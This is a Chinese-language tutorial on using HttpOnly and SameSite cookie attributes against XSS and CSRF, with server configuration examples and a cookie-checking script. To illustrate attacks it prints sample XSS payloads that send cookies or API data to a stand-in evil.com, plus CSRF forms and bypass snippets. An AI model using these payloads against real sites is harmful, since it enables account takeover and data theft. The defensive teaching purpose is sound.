HttpOnly + SameSite Cookie 实战:XSS 和 CSRF 的最后一道防线
一、先看一个"反常识"的事实
当你的网站存在 XSS 漏洞时:
| 你做了什么 | 攻击者能窃取 Cookie 值吗 |
|---|---|
| ❌ 什么都没做 | ✅ 能。document.cookie 直接读到所有 Cookie |
| ✅ 设了 HttpOnly | ❌ 不能。document.cookie 返回空字符串 |
| ✅ 设了 SameSite | ⚠️ 不能完全阻止 Cookie 发送(见下文) |
| ✅ HttpOnly + SameSite | 🛡️ 大幅提升防御深度 |
这两个属性是缓解 XSS 危害最有效的手段之一。但很多开发者对它们一知半解,本文系统讲解。
二、浏览器 Cookie 基础
2.1 Cookie 的类型
Set-Cookie: session_id=abc123; Domain=victim.com; Path=/; HttpOnly; Secure; SameSite=Lax
一个 Cookie 可以带的属性:
| 属性 | 作用 | 是否安全相关 |
|---|---|---|
Domain |
决定哪些域名能收到这个 Cookie | 是(不要设过宽) |
Path |
决定哪些 URL 路径能收到 | 是 |
Expires / Max-Age |
过期时间 | 否 |
Secure |
只在 HTTPS 下发送 | 是 |
HttpOnly |
JS 无法通过 document.cookie 读取 | 核心 |
SameSite |
跨站请求时是否携带 Cookie | 核心 |
Priority |
Cookie 优先级(Chroma 新特性) | 轻微 |
Partitioned |
分区 Cookie(隐私沙箱) | 未来趋势 |
2.2 浏览器发送 Cookie 的规则
每次浏览器向服务器发请求时,会自动把符合条件的 Cookie 放到 HTTP 请求头:
GET /api/profile HTTP/1.1
Host: victim.com
Cookie: session_id=abc123; cart=item1
User-Agent: Mozilla/5.0 ...
服务器不会收到 HttpOnly 这个"标记",HttpOnly 只是浏览器层面告诉 JavaScript:"你不许读这个 Cookie"。浏览器自己发请求时依然会带上它。
三、HttpOnly 深度解析
3.1 原理
HttpOnly Cookie 的核心规则:
浏览器发请求时正常携带;JavaScript 的
document.cookie接口看不到它。
// 如果 session_id 设了 HttpOnly
console.log(document.cookie); // 输出 "cart=item1" —— 没有 session_id
// 但 fetch('https://victim.com/api/profile') 依然会自动带上 session_id
3.2 为什么能缓解 XSS
回到之前的存储型 XSS 场景:
如果没有 HttpOnly:
// 攻击者注入的 Payload
fetch('https://evil.com/steal?c=' + document.cookie);
// document.cookie = "session_id=abc123; user_role=admin"
// 攻击者完整拿到会话令牌 → 直接接管
如果设了 HttpOnly:
// 攻击者注入的 Payload
fetch('https://evil.com/steal?c=' + document.cookie);
// document.cookie = "" (空!)
// 攻击者拿不到 Cookie 值
3.3 HttpOnly ≠ 100% 安全
虽然攻击者读不到 Cookie 值,但浏览器发请求时依然会自动带上——这就引出了另一个攻击向量:
利用浏览器自动携带做 CSRF / 带 Cookie 的 XHR
// 攻击者通过 XSS 在受害者浏览器中执行
// 即使没有 Cookie 值,也能"借用"受害者的登录态发请求
fetch('https://victim.com/api/settings/change-password', {
method: 'POST',
credentials: 'include', // 带上 Cookie(包括 HttpOnly 的!)
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
new_password: 'hacked123'
})
});
// 服务器会把这当成"受害者本人"发起的请求,执行改密
这就是为什么 HttpOnly 只是第一道防线,SameSite 和 CSRF Token 是第二道防线。
3.4 后端配置 HttpOnly
Node.js (Express + Cookie-parser)
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser());
// 方案 A:用 cookie-parser 的 res.cookie()
app.post('/login', (req, res) => {
const sessionId = generateRandomToken();
res.cookie('session_id', sessionId, {
httpOnly: true, // ✅ JS 不可读
secure: true, // ✅ 只 HTTPS 下发送
sameSite: 'lax', // ✅ 跨站不发
path: '/', // 全站路径有效
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 天
domain: 'victim.com',
signed: true // 防篡改(cookie-parser 内置签名)
});
res.json({ success: true });
});
// 方案 B:Session 中间件(connect-session + redis-store)
const session = require('express-session');
app.use(session({
secret: process.env.SESSION_SECRET,
store: new RedisStore({ client: redisClient }),
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 7 * 24 * 60 * 60 * 1000
}
}));
PHP
<?php
// 设置单个 Cookie
session_set_cookie_params([
'lifetime' => 7 * 24 * 60 * 60,
'path' => '/',
'domain' => 'victim.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Lax' // PHP 7.3+ 支持
]);
session_start();
// 或手动 setcookie
setcookie('session_id', $sessionId, [
'expires' => time() + 86400 * 7,
'path' => '/',
'domain' => '.victim.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Lax'
]);
?>
Python (Flask)
from flask import Flask, make_response, session
app = Flask(__name__)
app.secret_key = 'your-secret-key'
# Flask session cookie 默认就有 HttpOnly,但 Secure 和 SameSite 需手动加
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['PERMANENT_SESSION_LIFETIME'] = 7 * 24 * 60 * 60
# 手动设置
@app.route('/login')
def login():
resp = make_response('ok')
resp.set_cookie(
'session_id',
session_id,
httponly=True,
secure=True,
samesite='Lax',
max_age=86400 * 7,
path='/',
domain='.victim.com'
)
return resp
手动 Set-Cookie 响应头
Set-Cookie: session_id=abc123; Domain=.victim.com; Path=/; Expires=Wed, 13 Aug 2026 12:00:00 GMT; HttpOnly; Secure; SameSite=Lax
3.5 如何验证 HttpOnly 生效
方法 A:Chrome DevTools
- 打开 Victim.com 登录
- DevTools → Application → Storage → Cookies
- 查看右侧表格的 HttpOnly 列,应该显示 ✅ 勾
方法 B:Console 检查
// Console 里输入:
document.cookie
// 如果返回空字符串或不包含 session_id → 说明 HttpOnly 生效
// (注意:Secure Cookie 在 HTTP 页面上也看不到,但这是 Secure 的效果)
方法 C:curl 看响应头
curl -I https://victim.com/api/login -X POST -d 'username=test&password=test'
# 响应头中应看到:
# Set-Cookie: session_id=xxx; HttpOnly; Secure; SameSite=Lax
四、SameSite 深度解析
4.1 核心问题:什么是"跨站"
浏览器判断跨站的标准是:
站点 = 协议 + 主域名(eTLD+1)
| URL A | URL B | 同站? | 原因 |
|---|---|---|---|
| https://victim.com | https://victim.com/login | ✅ 同站 | 完全相同 |
| https://victim.com | https://api.victim.com | ✅ 同站 | 主域 victim.com 相同 |
| https://victim.com | https://victim.com:8080 | ✅ 同站 | 端口不算在"站"里(但算在"同源"里) |
| https://victim.com | https://attacker.com | ❌ 跨站 | 主域不同 |
| https://victim.github.io | https://other.github.io | ❌ 跨站 | github.io 是公共后缀,主域是 sub.github.io |
4.2 SameSite 三个取值
| 值 | 行为 | 推荐 |
|---|---|---|
Strict |
任何跨站请求都不携带 Cookie | 🔒 最严格,部分功能会受影响 |
Lax |
顶级导航 GET 请求(如用户点击链接跳转)才携带 Cookie | ✅ 推荐默认值 |
None |
任何请求都携带(必须同时设 Secure) | ⚠️ 仅跨站认证场景用 |
直观理解
假设 Cookie: session_id=abc SameSite=Lax
场景 1:用户点击 https://evil.com 上的链接跳转到 victim.com
→ 会携带 session_id(顶级导航 GET ✅ Lax 允许)
场景 2:evil.com 用 <iframe src="https://victim.com/page">
→ 不会携带 session_id(iframe 是嵌入加载 ❌ Lax 拒绝)
场景 3:evil.com 的 JS 发起 fetch('https://victim.com/api')
→ 不会携带 session_id(XHR/fetch ❌ Lax 拒绝)
场景 4:victim.com 页面内 fetch('/api/other')
→ 会携带 session_id(同站 ✅)
4.3 SameSite 与 CSRF 的关系
经典 CSRF 攻击场景:
<!-- evil.com 上的页面 -->
<form action="https://victim.com/api/transfer-money" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
<input type="submit" value="点击抽奖">
</form>
<!-- 或 -->
<img src="https://victim.com/api/transfer-money?to=attacker&amount=1000">
如果 Cookie 设了 SameSite=Lax:
| 攻击方式 | 是否携带 Cookie | CSRF 成功? |
|---|---|---|
| 受害者点表单 submit → POST | ❌ 不携带 | ❌ 失败 |
用 <img src> 发 GET |
❌ 不携带 | ❌ 失败 |
用 <a href> 点链接 → 顶级导航 GET |
✅ 携带 | ⚠️ 可能成功 |
| 用 fetch/XHR | ❌ 不携带 | ❌ 失败 |
SameSite=Lax 挡住了绝大多数经典 CSRF 场景。SameSite=Strict 还能挡住顶级导航 GET。
4.4 SameSite=None 的坑
如果你需要跨站携带 Cookie(比如 SSO 单点登录、嵌入第三方应用),必须设:
Set-Cookie: session_id=xxx; SameSite=None; Secure; HttpOnly
注意:现代浏览器(Chrome 80+、Firefox 75+)强制要求:SameSite=None 必须同时带 Secure,否则浏览器会把它当作 Lax,让你以为跨站 Cookie 发送成功了但其实被静默拦截。
4.5 实战中 SameSite 的选择
| 场景 | 推荐值 |
|---|---|
| 普通业务 Cookie(会话 Token) | Lax 或 Strict |
| 登录后重定向依赖 Cookie | Lax(Strict 会挡掉登录后回跳) |
| SSO 跨站认证 | None; Secure |
| API 用 Token 认证(非 Cookie) | 可以不依赖 SameSite |
五、HttpOnly + SameSite 的组合拳与局限
5.1 不同组合的防御效果
| 配置 | XSS 窃取 Cookie 值 | 攻击者用 Cookie 发请求 | CSRF |
|---|---|---|---|
| 什么都没设 | ✅ 能 | ✅ 能 | ✅ 成功 |
| Only HttpOnly | ❌ 不能 | ✅ 能(浏览器自动带) | ✅ 成功 |
| Only SameSite=Lax | ✅ 能 | ✅ 能(跨站 fetch 不行) | ⚠️ 部分失败 |
| HttpOnly + SameSite=Lax | ❌ 不能 | ❌ 跨站不行;✅ 同站可以 | ❌ 基本失败 |
| HttpOnly + SameSite=Strict | ❌ 不能 | ❌ 跨站不行;✅ 同站可以 | ❌ 彻底失败 |
5.2 绕过 HttpOnly 的思路
思路 1:XSS + fetch 跨域(不需要读 Cookie)
// 攻击者通过 XSS 在 victim.com 页面执行
// 即使拿不到 HttpOnly Cookie 的值,fetch 依然会自动带上它
fetch('https://victim.com/api/account', {
credentials: 'same-origin'
}).then(r => r.json())
.then(data => {
// 把 API 响应发给攻击者
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
// 这就是"不窃取 Cookie 值,直接用受害者身份做事"
// SameSite=Lax 对同站 fetch 不拦截,所以挡不住这种攻击
防御:API 层还要加 CSRF Token,且敏感操作要二次验证。
思路 2:利用服务器响应 Set-Cookie 端点
攻击者让服务器设置一个"可控"的 Cookie(比如让它把攻击者的输入作为 Cookie 值),然后再用非 HttpOnly Cookie 发起攻击。
思路 3:本地设备访问
如果攻击者能访问受害者的设备(病毒、浏览器扩展),可以直接读浏览器的 Cookie 数据库文件(Chrome 使用 LevelDB/SQLite 存储,master key 在系统密钥链里)。
5.3 绕过 SameSite 的思路
思路 1:打开新窗口(顶级导航)
// 通过 XSS 执行
window.open('https://victim.com/api/change-password?new=hacked123');
// 这是顶级导航 GET,SameSite=Lax 会携带 Cookie
// 如果 change-password 端点用 GET 而不是 POST → 被攻击成功
防御:敏感操作端点只接受 POST,并校验 CSRF Token。
思路 2:使用 URL 重定向链
evil.com/redirect?url=https://victim.com/api/transfer...
↓
evil.com 302 重定向到 victim.com/api/transfer...
↓
浏览器认为这是顶级导航(实际上是重定向链)
↓
SameSite=Lax 携带 Cookie
思路 3:使用 WebRTC / fetch keep-alive
某些场景下 fetch 的 keep-alive 会在导航时自动完成,但现代浏览器已修复。
六、完整的 Cookie 安全配置 Checklist
6.1 生产环境必须做到
✅ 所有 Cookie 默认 HttpOnly
✅ 所有 Cookie 默认 Secure
✅ 所有 Cookie 默认 SameSite=Lax 或 Strict
✅ 不要手动删除任何一个属性
✅ Session Cookie 的 Path 设为精确业务路径(不要 / 除非必要)
✅ Domain 不要设为顶级域(除非多子域共享)
✅ Cookie 值签名(防篡改)
✅ Cookie 值使用随机 Token(不是可预测值)
✅ Cookie 值足够长(至少 32 字节随机)
6.2 不要做的事
❌ 不要把 HttpOnly Cookie 设 Domain=.com(过宽)
❌ 不要在 JavaScript 中用 document.cookie 读取敏感 Cookie
❌ 不要把 SameSite=None 和非 Secure Cookie 配对
❌ 不要用 Cookie 直接存敏感数据(存 Session ID 即可)
❌ 不要把 Session Cookie 设成持久 Cookie(除非 remember-me 明确要求)
6.3 常见框架的默认配置
| 框架 | HttpOnly 默认 | Secure 默认 | SameSite 默认 |
|---|---|---|---|
| Express (express-session) | ✅ true | ❌ false(需手动开) | ❌ 未设置 |
| Django (Python) | ✅ true | ❌ false | ❌ 未设置 |
| Rails | ✅ true | ❌ false | ✅ Lax (Rails 6+) |
| Flask | ✅ true | ❌ false | ❌ 未设置 |
| Spring Boot | ✅ true | ❌ false | ❌ 未设置 |
→ 几乎所有框架都需要手动开启 Secure。这是 HTTPS 环境下最常见的遗漏之一。
6.4 测试你的 Cookie 配置
自动化测试脚本
# check_cookies.py
import requests
import sys
def check_security_cookies(url):
resp = requests.get(url, allow_redirects=False)
set_cookie = resp.headers.get('Set-Cookie', '')
print(f"[*] Target: {url}")
print(f"[*] Set-Cookie header: {set_cookie}")
print()
checks = [
('HttpOnly', 'httponly' in set_cookie.lower()),
('Secure', 'secure' in set_cookie.lower()),
('SameSite', 'samesite' in set_cookie.lower()),
]
for name, ok in checks:
status = '✅' if ok else '❌'
print(f" {status} {name}: {'OK' if ok else 'MISSING'}")
if 'samesite' in set_cookie.lower():
if 'samesite=none' in set_cookie.lower() and 'secure' not in set_cookie.lower():
print(" ⚠️ SameSite=None 但没有 Secure —— 浏览器会降级为 Lax")
return all(ok for _, ok in checks)
if __name__ == '__main__':
url = sys.argv[1] if len(sys.argv) > 1 else 'https://localhost:3000/login'
ok = check_security_cookies(url)
sys.exit(0 if ok else 1)
python3 check_cookies.py https://victim.com/login
# [*] Target: https://victim.com/login
# [*] Set-Cookie header: session_id=xxx; HttpOnly; Secure; SameSite=Lax
#
# ✅ HttpOnly: OK
# ✅ Secure: OK
# ✅ SameSite: OK
七、小结
HttpOnly 和 SameSite 不是银弹,但它们是XSS 和 CSRF 防御体系中性价比最高的两项配置:
- HttpOnly 让攻击者即使执行了 XSS,也拿不到 Cookie 的值
- SameSite 让攻击者即使知道 Cookie 的值,也发不出跨站的请求
两者叠加,再配上:
- 后端 CSP(阻止 XSS payload 执行)
- CSRF Token(即使同站 fetch 也需要)
- 操作二次验证(改密、转账等敏感操作)
- 敏感 API 的 IP 白名单 / 设备指纹
就能把一个"有 XSS 漏洞的应用"的实际危害降到可控水平。
记住:安全是分层的。没有哪一层能单独扛住一切攻击,但每一层都要尽量做对。Cookie 安全就是最基础、最容易做对、也是最容易被忽视的那一层。